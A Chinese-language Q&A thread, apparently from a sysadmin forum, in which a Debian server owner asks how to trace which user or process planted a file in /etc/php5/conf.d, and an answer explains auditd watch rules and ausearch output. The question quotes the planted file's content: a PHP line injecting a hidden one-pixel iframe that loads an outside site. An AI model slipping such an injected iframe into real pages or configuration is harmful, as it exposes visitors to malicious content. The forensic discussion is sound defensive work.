如何监视文件/目录的变化

如何监视文件/目录的变化

我有一台运行 Debian Lenny 的服务器。最近我遇到了一些安全问题。我特别看到在 /etc/php5/conf.d 中创建了一个名为“php-dev.ini”的文件。乍一看,该文件看起来正常且无害,直到你打开它。它包含:

<?php print "<iframe src='http://google-traf.zyns.com/index.php?tp=4abd7c0637c89d7a' width='1' height='1' frameborder='0'></iframe>"; ?>

显然,我知道服务器存在安全问题,所以请不要再问我“你修补了服务器吗?”。这已经完成了。服务器已检查过 rootkit,没有可疑帐户。我特别想知道哪个用户或 PID 正在向此目录写入内容,并且正在寻找可以使用哪些工具来帮助我。我研究过“iwatch”和“inotify”,但在开始研究之前,我想从其他人那里得到一些反馈。有谁知道有什么好的工具可以帮助我识别:

  1. 哪些用户正在写入此目录
  2. 使用哪个 PID 来写入文件
  3. 哪个应用程序正在写入此目录

基本上,我希望进行一些取证工作并了解监控文件系统。任何见解都将不胜感激。

(编辑以引用 PHP 代码示例,因为它之前未显示。)

答案1

Linux 内核已经审计子系统自 2.6 系列的某些版本以来。它与auditd守护进程和各种报告工具(如)aureport一起,ausearch允许进行非常细粒度的监控。

假设您想监控该/etc/php5/conf.d目录,或者可能只是/etc/php5/conf.d/php-dev.ini文件。首先安装 auditd 并运行它;应该很简单apt-get install auditd

然后为该文件设置监视器:

auditctl -w /etc/php5/conf.d/php5-dev.ini -p war -k uniquekeyforidentifyingthiswatch

如果您正在审计很多事情,唯一的键可以帮助您搜索可能很大的日志。

然后,看看该文件是否发生了一些有趣的事情:

ausearch -f /etc/php5/conf.d/php5-dev.ini

这应该会生成与此类似的报告(我只是为了演示目的而设置了一个监视/etc/elinks.conf):

----
time->Thu Aug  4 09:24:20 2011
type=PATH msg=audit(1312439060.306:71152): item=0 name="/etc/elinks.conf" inode=57674 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0
type=CWD msg=audit(1312439060.306:71152):  cwd="/home/jpikk/tmp"
type=SYSCALL msg=audit(1312439060.306:71152): arch=c000003e syscall=191 success=yes exit=27 a0=2601ce0 a1=3c12015d8b a2=26d1a60 a3=ff items=1 ppid=6643 pid=6672 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts7 ses=6075 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="uniquekeyforidentifyingthiswatch"
----
time->Thu Aug  4 09:24:20 2011
type=PATH msg=audit(1312439060.306:71153): item=0 name="/etc/elinks.conf" inode=57674 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0
type=CWD msg=audit(1312439060.306:71153):  cwd="/home/jpikk/tmp"
type=SYSCALL msg=audit(1312439060.306:71153): arch=c000003e syscall=2 success=no exit=-13 a0=2601ce0 a1=241 a2=1a4 a3=0 items=1 ppid=6643 pid=6672 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts7 ses=6075 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="uniquekeyforidentifyingthiswatch"
----
time->Thu Aug  4 09:24:20 2011
type=PATH msg=audit(1312439060.306:71154): item=1 name="/etc/elinks.conf" inode=57674 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0
type=PATH msg=audit(1312439060.306:71154): item=0 name="/etc/" inode=12 dev=fd:00 mode=040755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0
type=CWD msg=audit(1312439060.306:71154):  cwd="/home/jpikk/tmp"
type=SYSCALL msg=audit(1312439060.306:71154): arch=c000003e syscall=87 success=no exit=-13 a0=2601ce0 a1=0 a2=0 a3=3c107933ac items=2 ppid=6643 pid=6672 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts7 ses=6075 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="uniquekeyforidentifyingthiswatch"
----
time->Thu Aug  4 09:24:20 2011
type=PATH msg=audit(1312439060.306:71155): item=0 name="/etc/elinks.conf" inode=57674 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0
type=CWD msg=audit(1312439060.306:71155):  cwd="/home/jpikk/tmp"
type=SYSCALL msg=audit(1312439060.306:71155): arch=c000003e syscall=2 success=no exit=-13 a0=2601ce0 a1=241 a2=1a4 a3=3c107933ac items=1 ppid=6643 pid=6672 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts7 ses=6075 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="uniquekeyforidentifyingthiswatch"

哇,里面有很多东西。您将看到文件名及其被访问的 inode 编号、原始设备、SELinux 上下文(如果使用 SELinux)、用户/进程在尝试执行操作时的当前路径、失败/成功系统调用、用户的 uid/gid/effective uid 和可能的文件系统 ACL、执行操作的 tty、命令和命令引导的最终可执行文件、SELinux 角色等等。我刚刚打开该文件vim

可以通过安装安全框架进行进一步监控,例如grsecurity或者SELinux。特别是 grsecurity 非常有用,因为有了它,您可以更轻松地(与 SELinux 相比)设置一个特殊的用户组,该组会受到审核,然后您可以记录他们试图执行的可能的 fork 炸弹、信号、chroot 逃逸尝试等。但是,这可能会有点过头,而且会给您带来负担。

相关内容